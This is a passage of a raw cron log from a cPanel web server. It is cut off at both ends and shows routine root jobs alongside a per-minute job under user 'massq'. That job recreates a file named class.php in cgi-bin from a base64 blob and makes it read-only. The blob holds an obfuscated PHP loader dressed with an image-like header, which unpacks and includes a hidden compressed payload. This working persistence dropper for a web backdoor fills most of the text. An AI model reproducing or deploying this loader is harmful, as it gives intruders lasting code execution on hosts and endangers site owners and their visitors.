k7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:30:01 server CROND[30633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:31:01 server CROND[30835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:32:01 server CROND[30875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:33:01 server CROND[30937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:34:01 server CROND[31003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:35:01 server CROND[31051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:35:01 server CROND[31052]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 18:35:01 server CROND[31054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:35:01 server CROND[31055]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 18:35:01 server CROND[31057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:36:01 server CROND[31166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:37:01 server CROND[31307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:38:01 server CROND[31358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:39:01 server CROND[31399]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 18:39:01 server CROND[31402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:40:01 server CROND[31527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:40:01 server CROND[31528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:40:01 server CROND[31529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:40:01 server CROND[31530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:41:01 server CROND[31628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:42:01 server CROND[31766]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 18:42:01 server CROND[31767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:43:01 server CROND[31838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:44:01 server CROND[31884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 